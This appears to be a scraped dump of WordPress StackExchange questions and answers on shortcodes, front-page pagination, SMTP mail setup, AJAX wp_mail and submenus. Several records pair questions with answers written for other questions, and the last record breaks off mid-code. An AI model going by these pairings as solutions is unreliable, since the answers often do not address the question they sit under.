<p>But as an attribute value, it doesn't get parsed:</p>
<pre><code><span data-value="[sola_testimonials_count type=\'all\']"></span>
Result:
<span data-value="[sola_testimonials_count type=\'all\']"></span>
</code></pre>
<p>This is a third-party plug-in, but I obviously have the code and can manipulate it. Is there a way I can get the shortcode to parse as an HTML attribute value? I'm not a Wordpress developer so forgive me if this is an obvious answer.</p>
<p>Many thanks!</p>
| [
{
"answer_id": 254208,
"author": "Florian",
"author_id": 111911,
"author_profile": "https://wordpress.stackexchange.com/users/111911",
"pm_score": 2,
"selected": true,
"text": "<ol>\n<li>Check this: Check this: <a href=\"https://premium.wpmudev.org/blog/daily-tip-how-to-automatically-set-the-featured-image-in-wordpress/\" rel=\"nofollow noreferrer\">https://premium.wpmudev.org/blog/daily-tip-how-to-automatically-set-the-featured-image-in-wordpress/</a></li>\n<li><a href=\"http://dominiquej.com/how-to-delete-uncategorized-wordpress/\" rel=\"nofollow noreferrer\">http://dominiquej.com/how-to-delete-uncategorized-wordpress/</a></li>\n<li>No, 301 redirects will typically not impact your performance in the SERPs negatively when done correctly.</li>\n<li>Please specify your question.</li>\n</ol>\n"
},
{
"answer_id": 254215,
"author": "Philcomputing",
"author_id": 111905,
"author_profile": "https://wordpress.stackexchange.com/users/111905",
"pm_score": 0,
"selected": false,
"text": "<p>Regarding 1.: You can find a lot of plugins solving this request. wpbeginner posted an article touching this topic: 14 Best Featured Image Plugins and Tutorials for WordPress</p>\n\n<p>Regarding 3./4.: Use the Redirection plugin to point each URL that causes an error to the new URL. You can find the plugin in the WordPress repository. The plugin will set proper 301-redirects</p>\n"
}
]
| 2017/01/27 | [
"https://wordpress.stackexchange.com/questions/254257",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111220/"
]
| Within a span, the shortcode output works:
```
<span>[sola_testimonials_count type='all']</span>
Result:
<span>5,205</span>
```
But as an attribute value, it doesn't get parsed:
```
<span data-value="[sola_testimonials_count type=\'all\']"></span>
Result:
<span data-value="[sola_testimonials_count type=\'all\']"></span>
```
This is a third-party plug-in, but I obviously have the code and can manipulate it. Is there a way I can get the shortcode to parse as an HTML attribute value? I'm not a Wordpress developer so forgive me if this is an obvious answer.
Many thanks! | 1. Check this: Check this: <https://premium.wpmudev.org/blog/daily-tip-how-to-automatically-set-the-featured-image-in-wordpress/>
2. <http://dominiquej.com/how-to-delete-uncategorized-wordpress/>
3. No, 301 redirects will typically not impact your performance in the SERPs negatively when done correctly.
4. Please specify your question. |
254,259 | <p>I know similar questions have been asked, but none of them seem to answer the question.</p>
<p>I've set up a post-loop widget that I put on the home page. It has pagination, but whenever going to any page other than the first, I get a nasty 404.
The reason is because, when the URL gets a <code>/page/2/</code> or a <code>/?page=2</code> in it, WordPress no longer directs the call to the home page template. Instead it seems to assume there's a page with that name, it can't find it, and so it throws a 404.</p>
<p>Thus, my question is, when / why does WordPress decide that it isn't the home page? and why?
And how do I force it to keep using the home page template? (i.e. front-page.php)</p>
<h2>Update</h2>
<p>It seems that, after switching my home page display from "Your latest posts" (which was irrelevant since the theme/child theme junks anything and replaces it with its widgets when active) to "A static page" (I chose a random page, which doesn't display anyhow), it now, instead of giving a 404, just stays on page 1, even though /page/2 is shown in the URL (the other commonly reported error).</p>
| [
{
"answer_id": 254270,
"author": "Alexander Holsgrove",
"author_id": 48962,
"author_profile": "https://wordpress.stackexchange.com/users/48962",
"pm_score": 1,
"selected": false,
"text": "<p>You will need to take the value of <code>/page/n</code> and pass it into your custom loop:</p>\n\n<pre><code>$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; \n$the_query = new WP_Query( 'posts_per_page=3&paged=' . $paged ); \n</code></pre>\n\n<p>You can read more here: <a href=\"https://codex.wordpress.org/Pagination\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Pagination</a></p>\n"
},
{
"answer_id": 254274,
"author": "Codesmith",
"author_id": 80614,
"author_profile": "https://wordpress.stackexchange.com/users/80614",
"pm_score": 1,
"selected": true,
"text": "<p>After a bit of research and playing with it, I did get it to work.</p>\n\n<p><strong>Issue 1</strong><br>\nThe first trick (as mentioned above) was to switch the home page display to use \"A static page.\" This eliminated the 404 issue, but didn't fix the pagination staying on page 1.</p>\n\n<p><strong>Issue 2</strong><br>\nThe second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the <a href=\"https://codex.wordpress.org/Function_Reference/get_query_var#Examples\" rel=\"nofollow noreferrer\">WP get_query_var documentation page</a>:</p>\n\n<blockquote>\n <p>For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable</p>\n</blockquote>\n\n<p>This seems to work great:</p>\n\n<pre>\n$page = is_front_page() ? 'page' : 'paged';\n$query .= '&paged=' . get_query_var($page,1);\n</pre>\n"
}
]
| 2017/01/27 | [
"https://wordpress.stackexchange.com/questions/254259",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/80614/"
]
| I know similar questions have been asked, but none of them seem to answer the question.
I've set up a post-loop widget that I put on the home page. It has pagination, but whenever going to any page other than the first, I get a nasty 404.
The reason is because, when the URL gets a `/page/2/` or a `/?page=2` in it, WordPress no longer directs the call to the home page template. Instead it seems to assume there's a page with that name, it can't find it, and so it throws a 404.
Thus, my question is, when / why does WordPress decide that it isn't the home page? and why?
And how do I force it to keep using the home page template? (i.e. front-page.php)
Update
------
It seems that, after switching my home page display from "Your latest posts" (which was irrelevant since the theme/child theme junks anything and replaces it with its widgets when active) to "A static page" (I chose a random page, which doesn't display anyhow), it now, instead of giving a 404, just stays on page 1, even though /page/2 is shown in the URL (the other commonly reported error). | After a bit of research and playing with it, I did get it to work.
**Issue 1**
The first trick (as mentioned above) was to switch the home page display to use "A static page." This eliminated the 404 issue, but didn't fix the pagination staying on page 1.
**Issue 2**
The second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the [WP get\_query\_var documentation page](https://codex.wordpress.org/Function_Reference/get_query_var#Examples):
>
> For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable
>
>
>
This seems to work great:
```
$page = is_front_page() ? 'page' : 'paged';
$query .= '&paged=' . get_query_var($page,1);
``` |
254,283 | <p>I used this code in my child theme(child theme functions.php):</p>
<pre><code> add_action( 'phpmailer_init', 'wpse8170_phpmailer_init',0 );
function wpse8170_phpmailer_init( PHPMailer $phpmailer ) {
$phpmailer->Host = 'your.smtp.server.here';
$phpmailer->Port = 25; // could be different
$phpmailer->Username = '[email protected]'; // if required
$phpmailer->Password = 'yourpassword'; // if required
$phpmailer->SMTPAuth = true; // if required
$phpmailer->SMTPSecure = 'ssl'; // enable if required, 'tls' is another possible value
$phpmailer->IsSMTP();
}
</code></pre>
<p>But it doesn't send SMTP mail. I checked the SMTP credentials with SMTP programs(like wp mail SMTP) and they send test email successfully but when I use Contact form 7 plugin it doesn't send mail anymore.
My host is cPanel/ GoDady</p>
<p>Could anyone help me?</p>
| [
{
"answer_id": 254270,
"author": "Alexander Holsgrove",
"author_id": 48962,
"author_profile": "https://wordpress.stackexchange.com/users/48962",
"pm_score": 1,
"selected": false,
"text": "<p>You will need to take the value of <code>/page/n</code> and pass it into your custom loop:</p>\n\n<pre><code>$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; \n$the_query = new WP_Query( 'posts_per_page=3&paged=' . $paged ); \n</code></pre>\n\n<p>You can read more here: <a href=\"https://codex.wordpress.org/Pagination\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Pagination</a></p>\n"
},
{
"answer_id": 254274,
"author": "Codesmith",
"author_id": 80614,
"author_profile": "https://wordpress.stackexchange.com/users/80614",
"pm_score": 1,
"selected": true,
"text": "<p>After a bit of research and playing with it, I did get it to work.</p>\n\n<p><strong>Issue 1</strong><br>\nThe first trick (as mentioned above) was to switch the home page display to use \"A static page.\" This eliminated the 404 issue, but didn't fix the pagination staying on page 1.</p>\n\n<p><strong>Issue 2</strong><br>\nThe second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the <a href=\"https://codex.wordpress.org/Function_Reference/get_query_var#Examples\" rel=\"nofollow noreferrer\">WP get_query_var documentation page</a>:</p>\n\n<blockquote>\n <p>For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable</p>\n</blockquote>\n\n<p>This seems to work great:</p>\n\n<pre>\n$page = is_front_page() ? 'page' : 'paged';\n$query .= '&paged=' . get_query_var($page,1);\n</pre>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254283",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/48767/"
]
| I used this code in my child theme(child theme functions.php):
```
add_action( 'phpmailer_init', 'wpse8170_phpmailer_init',0 );
function wpse8170_phpmailer_init( PHPMailer $phpmailer ) {
$phpmailer->Host = 'your.smtp.server.here';
$phpmailer->Port = 25; // could be different
$phpmailer->Username = '[email protected]'; // if required
$phpmailer->Password = 'yourpassword'; // if required
$phpmailer->SMTPAuth = true; // if required
$phpmailer->SMTPSecure = 'ssl'; // enable if required, 'tls' is another possible value
$phpmailer->IsSMTP();
}
```
But it doesn't send SMTP mail. I checked the SMTP credentials with SMTP programs(like wp mail SMTP) and they send test email successfully but when I use Contact form 7 plugin it doesn't send mail anymore.
My host is cPanel/ GoDady
Could anyone help me? | After a bit of research and playing with it, I did get it to work.
**Issue 1**
The first trick (as mentioned above) was to switch the home page display to use "A static page." This eliminated the 404 issue, but didn't fix the pagination staying on page 1.
**Issue 2**
The second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the [WP get\_query\_var documentation page](https://codex.wordpress.org/Function_Reference/get_query_var#Examples):
>
> For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable
>
>
>
This seems to work great:
```
$page = is_front_page() ? 'page' : 'paged';
$query .= '&paged=' . get_query_var($page,1);
``` |
254,297 | <p>I have seen many plugin installations require to add </p>
<pre><code><?php do_action('plugin_name_hook'); ?>
</code></pre>
<p>inside the templates files. What does it do?</p>
| [
{
"answer_id": 254270,
"author": "Alexander Holsgrove",
"author_id": 48962,
"author_profile": "https://wordpress.stackexchange.com/users/48962",
"pm_score": 1,
"selected": false,
"text": "<p>You will need to take the value of <code>/page/n</code> and pass it into your custom loop:</p>\n\n<pre><code>$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1; \n$the_query = new WP_Query( 'posts_per_page=3&paged=' . $paged ); \n</code></pre>\n\n<p>You can read more here: <a href=\"https://codex.wordpress.org/Pagination\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Pagination</a></p>\n"
},
{
"answer_id": 254274,
"author": "Codesmith",
"author_id": 80614,
"author_profile": "https://wordpress.stackexchange.com/users/80614",
"pm_score": 1,
"selected": true,
"text": "<p>After a bit of research and playing with it, I did get it to work.</p>\n\n<p><strong>Issue 1</strong><br>\nThe first trick (as mentioned above) was to switch the home page display to use \"A static page.\" This eliminated the 404 issue, but didn't fix the pagination staying on page 1.</p>\n\n<p><strong>Issue 2</strong><br>\nThe second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the <a href=\"https://codex.wordpress.org/Function_Reference/get_query_var#Examples\" rel=\"nofollow noreferrer\">WP get_query_var documentation page</a>:</p>\n\n<blockquote>\n <p>For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable</p>\n</blockquote>\n\n<p>This seems to work great:</p>\n\n<pre>\n$page = is_front_page() ? 'page' : 'paged';\n$query .= '&paged=' . get_query_var($page,1);\n</pre>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254297",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111885/"
]
| I have seen many plugin installations require to add
```
<?php do_action('plugin_name_hook'); ?>
```
inside the templates files. What does it do? | After a bit of research and playing with it, I did get it to work.
**Issue 1**
The first trick (as mentioned above) was to switch the home page display to use "A static page." This eliminated the 404 issue, but didn't fix the pagination staying on page 1.
**Issue 2**
The second issue I fixed by getting the 'page' query var instead of the 'paged' query var, as per the [WP get\_query\_var documentation page](https://codex.wordpress.org/Function_Reference/get_query_var#Examples):
>
> For getting the current pagination number on a static front page (Page template) you have to use the 'page' query variable
>
>
>
This seems to work great:
```
$page = is_front_page() ? 'page' : 'paged';
$query .= '&paged=' . get_query_var($page,1);
``` |
254,310 | <p>When I use the <code>wp_mail()</code> or <code>mail()</code> function in AJAX, the function doesn't work and doesn't send email.</p>
<p>When I use these functions simply in my functions.php file it works fine.</p>
<p>It's not related to WordPress functions or actions. I have checked everything, including using SMTP mail. SMTP mail works same as <code>mail()</code> function and it doesn't send in AJAX mode.</p>
<p>This is my functions.php file content:</p>
<pre><code>add_action( 'phpmailer_init', 'wpse8170_phpmailer_init' );
function wpse8170_phpmailer_init( PHPMailer $phpmailer ) {
$phpmailer->Host = 'godadysmtpsampledomain.secureserver.net';
$phpmailer->Port = 465; // could be different
$phpmailer->Username = '[email protected]'; // if required
$phpmailer->Password = '12345'; // if required
$phpmailer->SMTPAuth = true; // if required
$phpmailer->SMTPSecure = 'ssl'; // enable if required, 'tls' is another possible value
$phpmailer->IsSMTP();
}
// This code works fine;
wp_mail("[email protected]", "test", "test");
</code></pre>
<p>But other codes or plugin in AJAX mode like Contact Form 7 don't work, it means the email doesn't delivered. I checked these plugins and <code>wp_mail()</code> returns true but the email doesn't delivered.</p>
| [
{
"answer_id": 254339,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": -1,
"selected": false,
"text": "<p>what is this? </p>\n\n<p><code>add_action( 'phpmailer_init', ...........</code> </p>\n\n<p>you should use:</p>\n\n<pre><code>add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );\nfunction wpse8170_phpmailer_init() { ....... }\n</code></pre>\n\n<p>and in JAVASCRIPT call, do like this :</p>\n\n<pre><code><script type=\"text/javascript\" >\njQuery(document).ready(function($) {\n\n var data = {\n 'action': 'ABCABCABC',\n 'whatever': 1234\n };\n\n jQuery.post(ajaxurl, data, function(response) {\n //alert('Response got!! : ' + response);\n });\n});\n</script>\n</code></pre>\n\n<p>(<a href=\"https://codex.wordpress.org/AJAX_in_Plugins\" rel=\"nofollow noreferrer\">source</a>).</p>\n"
},
{
"answer_id": 254762,
"author": "Hossein Hashemi",
"author_id": 48767,
"author_profile": "https://wordpress.stackexchange.com/users/48767",
"pm_score": 0,
"selected": false,
"text": "<p>@T.Todua :</p>\n\n<p>Ok and when I use your way it doesn't deliver the email. It doesn't send email in Ajax function and it's my problem exactly </p>\n\n<pre><code>add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );\nfunction wpse8170_phpmailer_init() { \n\n//it doesn't send/deliver in a Ajax function\nwp_mail(\"[email protected]\", \"test\", \"test\");\n\n }\n</code></pre>\n\n<p>But when I use wp_mail() in post-back page it works fine for example when put it in functions.php file it sends/delivers the email:</p>\n\n<pre><code>//functions.php\n//It sends in this mode\nwp_mail(\"[email protected]\", \"test\", \"test\");\n</code></pre>\n\n<p>It's my problem.</p>\n"
},
{
"answer_id": 359678,
"author": "Diego Somar",
"author_id": 117002,
"author_profile": "https://wordpress.stackexchange.com/users/117002",
"pm_score": 0,
"selected": false,
"text": "<p>Too late, but perhaps can help others. I don't recommend to change SMTP data within code, because:</p>\n\n<ul>\n<li>SMTP connection data is variable. If you work on localhost, probably you want to send test e-mails (eg using <a href=\"https://mailcatcher.me/\" rel=\"nofollow noreferrer\">mailcacher</a>). With this common scenario, you will have 2 SMTP data and can be confusing when sending files to the production server;</li>\n<li>Is not recommended to put passwords in code, for security reasons. If you work with many people in the project, it will share your password;</li>\n</ul>\n\n<p>There are a good solution to change SMTP data. Is the lightweight plugin <a href=\"https://br.wordpress.org/plugins/easy-wp-smtp/\" rel=\"nofollow noreferrer\">Easy WP SMTP</a>. With this plugin, you set your SMTP data in Wordpress database.</p>\n\n<p>As each environment has your own database (production server, dev 1, dev 2 etc), you can set the SMTP data in each WP Admin you use.</p>\n\n<p>In production server, set the real SMTP. In development servers (localhost), you can set your test SMTP data.</p>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254310",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/48767/"
]
| When I use the `wp_mail()` or `mail()` function in AJAX, the function doesn't work and doesn't send email.
When I use these functions simply in my functions.php file it works fine.
It's not related to WordPress functions or actions. I have checked everything, including using SMTP mail. SMTP mail works same as `mail()` function and it doesn't send in AJAX mode.
This is my functions.php file content:
```
add_action( 'phpmailer_init', 'wpse8170_phpmailer_init' );
function wpse8170_phpmailer_init( PHPMailer $phpmailer ) {
$phpmailer->Host = 'godadysmtpsampledomain.secureserver.net';
$phpmailer->Port = 465; // could be different
$phpmailer->Username = '[email protected]'; // if required
$phpmailer->Password = '12345'; // if required
$phpmailer->SMTPAuth = true; // if required
$phpmailer->SMTPSecure = 'ssl'; // enable if required, 'tls' is another possible value
$phpmailer->IsSMTP();
}
// This code works fine;
wp_mail("[email protected]", "test", "test");
```
But other codes or plugin in AJAX mode like Contact Form 7 don't work, it means the email doesn't delivered. I checked these plugins and `wp_mail()` returns true but the email doesn't delivered. | @T.Todua :
Ok and when I use your way it doesn't deliver the email. It doesn't send email in Ajax function and it's my problem exactly
```
add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );
function wpse8170_phpmailer_init() {
//it doesn't send/deliver in a Ajax function
wp_mail("[email protected]", "test", "test");
}
```
But when I use wp\_mail() in post-back page it works fine for example when put it in functions.php file it sends/delivers the email:
```
//functions.php
//It sends in this mode
wp_mail("[email protected]", "test", "test");
```
It's my problem. |
254,317 | <p>I am searching for a code or better a wordpress plugin to set automatically all links only to a certain domain (and of course to all of its subpages) to "nofollow". </p>
<p>I could not find any plugin which is doing that, maybe you are knowing one or a coding-solution (javascript I guess).</p>
<p>F.e. the plugins I found and their problems:</p>
<p><a href="https://wordpress.org/plugins/nofollow/" rel="nofollow noreferrer">https://wordpress.org/plugins/nofollow/</a> Has only "A nofollow option for individual blogroll links" -> so no possibility to set only a certain domain to nofollow which is part of normal articles</p>
<p><a href="https://wordpress.org/plugins/nofollow-links/" rel="nofollow noreferrer">https://wordpress.org/plugins/nofollow-links/</a> Again only general nofollow to domains in the blogroll (or normal links in the articles too? In my understanding a blogroll is a linklist on the sidebar)</p>
<p>wordpress.org/plugins/nofollow-all-external-links Can only give nofollow to all external links, not to a certain domain only</p>
<p>And so on. Anybody with a plugin which allows me to set only a certain domain with its subpages to nofollow?</p>
| [
{
"answer_id": 254339,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": -1,
"selected": false,
"text": "<p>what is this? </p>\n\n<p><code>add_action( 'phpmailer_init', ...........</code> </p>\n\n<p>you should use:</p>\n\n<pre><code>add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );\nfunction wpse8170_phpmailer_init() { ....... }\n</code></pre>\n\n<p>and in JAVASCRIPT call, do like this :</p>\n\n<pre><code><script type=\"text/javascript\" >\njQuery(document).ready(function($) {\n\n var data = {\n 'action': 'ABCABCABC',\n 'whatever': 1234\n };\n\n jQuery.post(ajaxurl, data, function(response) {\n //alert('Response got!! : ' + response);\n });\n});\n</script>\n</code></pre>\n\n<p>(<a href=\"https://codex.wordpress.org/AJAX_in_Plugins\" rel=\"nofollow noreferrer\">source</a>).</p>\n"
},
{
"answer_id": 254762,
"author": "Hossein Hashemi",
"author_id": 48767,
"author_profile": "https://wordpress.stackexchange.com/users/48767",
"pm_score": 0,
"selected": false,
"text": "<p>@T.Todua :</p>\n\n<p>Ok and when I use your way it doesn't deliver the email. It doesn't send email in Ajax function and it's my problem exactly </p>\n\n<pre><code>add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );\nfunction wpse8170_phpmailer_init() { \n\n//it doesn't send/deliver in a Ajax function\nwp_mail(\"[email protected]\", \"test\", \"test\");\n\n }\n</code></pre>\n\n<p>But when I use wp_mail() in post-back page it works fine for example when put it in functions.php file it sends/delivers the email:</p>\n\n<pre><code>//functions.php\n//It sends in this mode\nwp_mail(\"[email protected]\", \"test\", \"test\");\n</code></pre>\n\n<p>It's my problem.</p>\n"
},
{
"answer_id": 359678,
"author": "Diego Somar",
"author_id": 117002,
"author_profile": "https://wordpress.stackexchange.com/users/117002",
"pm_score": 0,
"selected": false,
"text": "<p>Too late, but perhaps can help others. I don't recommend to change SMTP data within code, because:</p>\n\n<ul>\n<li>SMTP connection data is variable. If you work on localhost, probably you want to send test e-mails (eg using <a href=\"https://mailcatcher.me/\" rel=\"nofollow noreferrer\">mailcacher</a>). With this common scenario, you will have 2 SMTP data and can be confusing when sending files to the production server;</li>\n<li>Is not recommended to put passwords in code, for security reasons. If you work with many people in the project, it will share your password;</li>\n</ul>\n\n<p>There are a good solution to change SMTP data. Is the lightweight plugin <a href=\"https://br.wordpress.org/plugins/easy-wp-smtp/\" rel=\"nofollow noreferrer\">Easy WP SMTP</a>. With this plugin, you set your SMTP data in Wordpress database.</p>\n\n<p>As each environment has your own database (production server, dev 1, dev 2 etc), you can set the SMTP data in each WP Admin you use.</p>\n\n<p>In production server, set the real SMTP. In development servers (localhost), you can set your test SMTP data.</p>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254317",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111998/"
]
| I am searching for a code or better a wordpress plugin to set automatically all links only to a certain domain (and of course to all of its subpages) to "nofollow".
I could not find any plugin which is doing that, maybe you are knowing one or a coding-solution (javascript I guess).
F.e. the plugins I found and their problems:
<https://wordpress.org/plugins/nofollow/> Has only "A nofollow option for individual blogroll links" -> so no possibility to set only a certain domain to nofollow which is part of normal articles
<https://wordpress.org/plugins/nofollow-links/> Again only general nofollow to domains in the blogroll (or normal links in the articles too? In my understanding a blogroll is a linklist on the sidebar)
wordpress.org/plugins/nofollow-all-external-links Can only give nofollow to all external links, not to a certain domain only
And so on. Anybody with a plugin which allows me to set only a certain domain with its subpages to nofollow? | @T.Todua :
Ok and when I use your way it doesn't deliver the email. It doesn't send email in Ajax function and it's my problem exactly
```
add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );
function wpse8170_phpmailer_init() {
//it doesn't send/deliver in a Ajax function
wp_mail("[email protected]", "test", "test");
}
```
But when I use wp\_mail() in post-back page it works fine for example when put it in functions.php file it sends/delivers the email:
```
//functions.php
//It sends in this mode
wp_mail("[email protected]", "test", "test");
```
It's my problem. |
254,319 | <p>I have many almost identical pages on my web page for seo purposes, I would like to change rewrite an entire block of text to something else, is this possible to do in one go as it would take ages to do individually?</p>
<p>many thanks
Dave</p>
| [
{
"answer_id": 254339,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": -1,
"selected": false,
"text": "<p>what is this? </p>\n\n<p><code>add_action( 'phpmailer_init', ...........</code> </p>\n\n<p>you should use:</p>\n\n<pre><code>add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );\nfunction wpse8170_phpmailer_init() { ....... }\n</code></pre>\n\n<p>and in JAVASCRIPT call, do like this :</p>\n\n<pre><code><script type=\"text/javascript\" >\njQuery(document).ready(function($) {\n\n var data = {\n 'action': 'ABCABCABC',\n 'whatever': 1234\n };\n\n jQuery.post(ajaxurl, data, function(response) {\n //alert('Response got!! : ' + response);\n });\n});\n</script>\n</code></pre>\n\n<p>(<a href=\"https://codex.wordpress.org/AJAX_in_Plugins\" rel=\"nofollow noreferrer\">source</a>).</p>\n"
},
{
"answer_id": 254762,
"author": "Hossein Hashemi",
"author_id": 48767,
"author_profile": "https://wordpress.stackexchange.com/users/48767",
"pm_score": 0,
"selected": false,
"text": "<p>@T.Todua :</p>\n\n<p>Ok and when I use your way it doesn't deliver the email. It doesn't send email in Ajax function and it's my problem exactly </p>\n\n<pre><code>add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );\nfunction wpse8170_phpmailer_init() { \n\n//it doesn't send/deliver in a Ajax function\nwp_mail(\"[email protected]\", \"test\", \"test\");\n\n }\n</code></pre>\n\n<p>But when I use wp_mail() in post-back page it works fine for example when put it in functions.php file it sends/delivers the email:</p>\n\n<pre><code>//functions.php\n//It sends in this mode\nwp_mail(\"[email protected]\", \"test\", \"test\");\n</code></pre>\n\n<p>It's my problem.</p>\n"
},
{
"answer_id": 359678,
"author": "Diego Somar",
"author_id": 117002,
"author_profile": "https://wordpress.stackexchange.com/users/117002",
"pm_score": 0,
"selected": false,
"text": "<p>Too late, but perhaps can help others. I don't recommend to change SMTP data within code, because:</p>\n\n<ul>\n<li>SMTP connection data is variable. If you work on localhost, probably you want to send test e-mails (eg using <a href=\"https://mailcatcher.me/\" rel=\"nofollow noreferrer\">mailcacher</a>). With this common scenario, you will have 2 SMTP data and can be confusing when sending files to the production server;</li>\n<li>Is not recommended to put passwords in code, for security reasons. If you work with many people in the project, it will share your password;</li>\n</ul>\n\n<p>There are a good solution to change SMTP data. Is the lightweight plugin <a href=\"https://br.wordpress.org/plugins/easy-wp-smtp/\" rel=\"nofollow noreferrer\">Easy WP SMTP</a>. With this plugin, you set your SMTP data in Wordpress database.</p>\n\n<p>As each environment has your own database (production server, dev 1, dev 2 etc), you can set the SMTP data in each WP Admin you use.</p>\n\n<p>In production server, set the real SMTP. In development servers (localhost), you can set your test SMTP data.</p>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254319",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112000/"
]
| I have many almost identical pages on my web page for seo purposes, I would like to change rewrite an entire block of text to something else, is this possible to do in one go as it would take ages to do individually?
many thanks
Dave | @T.Todua :
Ok and when I use your way it doesn't deliver the email. It doesn't send email in Ajax function and it's my problem exactly
```
add_action( 'wp_ajax_ABCABCABC', 'wpse8170_phpmailer_init' );
function wpse8170_phpmailer_init() {
//it doesn't send/deliver in a Ajax function
wp_mail("[email protected]", "test", "test");
}
```
But when I use wp\_mail() in post-back page it works fine for example when put it in functions.php file it sends/delivers the email:
```
//functions.php
//It sends in this mode
wp_mail("[email protected]", "test", "test");
```
It's my problem. |
254,321 | <p>I want to add submenu to a navigation menu in wordPress through code (not through admin panel) and I am totally new to Wordpress. Any help would be greatly appreciated!
Thanks!</p>
| [
{
"answer_id": 254322,
"author": "Tom",
"author_id": 51187,
"author_profile": "https://wordpress.stackexchange.com/users/51187",
"pm_score": 0,
"selected": false,
"text": "<p>Can you describe why you want to do it through code rather than the admin panel?</p>\n\n<p>Your answer might be found in <a href=\"https://developer.wordpress.org/reference/functions/wp_nav_menu/\" rel=\"nofollow noreferrer\">wp_nav_menu</a>. Search around for how to display submenus… such as described <a href=\"http://www.ordinarycoder.com/wordpress-wp_nav_menu-show-a-submenu-only/\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 254331,
"author": "Vishal Kumar Sahu",
"author_id": 101300,
"author_profile": "https://wordpress.stackexchange.com/users/101300",
"pm_score": 0,
"selected": false,
"text": "<p>I think you get caught in providing the parent slug to the submenu function. Here is the example code and structure from codex for the function <code>add_submenu_page</code> which may help you understand to get your solution.</p>\n\n<pre><code>add_action( 'admin_menu', 'my_custom_menu' );\n\nfunction my_custom_menu(){\n\n //add_menu_page( string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '', string $icon_url = '', int $position = null )\n\n\n\n //add_submenu_page( string $parent_slug, string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '' );\n\n add_submenu_page( 'custom-options', 'Edit Image', 'Edit Images', 'manage_categories', 'edit-images', function_to_handle_the_request );\n}\n\n\nfunction function_to_handle_the_request(){\n print '<div class=\"wrap\">';\n\n $file = \"/path-to-your-file\"; //get_stylesheet_directory() may be helpful\n\n if ( file_exists( $file ) )\n require $file;\n\n print '</div>';\n}\n</code></pre>\n"
},
{
"answer_id": 254527,
"author": "Developer",
"author_id": 112001,
"author_profile": "https://wordpress.stackexchange.com/users/112001",
"pm_score": 2,
"selected": true,
"text": "<p>I got the answer, here it is: I want to add submenus ffrom database to the menu named 'Products'</p>\n\n<p>Create a custom plugin and install it through Admin panel. Inside the functions.php write this code. This is upgrade safe way and will not brake if the theme is updated.</p>\n\n<pre><code>add_filter( 'wp_nav_menu_objects', 'ravs_add_menu_parent_class' );\n function ravs_add_menu_parent_class( $items ) {\n $results = 'SOME SQL QUERY';\n foreach ( $items as $item ) {\n $title = $item->title;\n $ID = $item->ID;\n if($title=='Products')\n $parentId = $ID;\n }\n foreach ( $results as $result ) {\n $name = $result->name;\n $id = $result->id;\n $link = array (\n 'title' => $name,\n 'menu_item_parent' => $parentId,\n 'ID' => $id,\n 'db_id' => $id,\n 'url' => 'URL'\n );\n\n $items[] = (object) $link;\n }\n return $items; \n}\n</code></pre>\n"
}
]
| 2017/01/28 | [
"https://wordpress.stackexchange.com/questions/254321",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112001/"
]
| I want to add submenu to a navigation menu in wordPress through code (not through admin panel) and I am totally new to Wordpress. Any help would be greatly appreciated!
Thanks! | I got the answer, here it is: I want to add submenus ffrom database to the menu named 'Products'
Create a custom plugin and install it through Admin panel. Inside the functions.php write this code. This is upgrade safe way and will not brake if the theme is updated.
```
add_filter( 'wp_nav_menu_objects', 'ravs_add_menu_parent_class' );
function ravs_add_menu_parent_class( $items ) {
$results = 'SOME SQL QUERY';
foreach ( $items as $item ) {
$title = $item->title;
$ID = $item->ID;
if($title=='Products')
$parentId = $ID;
}
foreach ( $results as $result ) {
$name = $result->name;
$id = $result->id;
$link = array (
'title' => $name,
'menu_item_parent' => $parentId,
'ID' => $id,
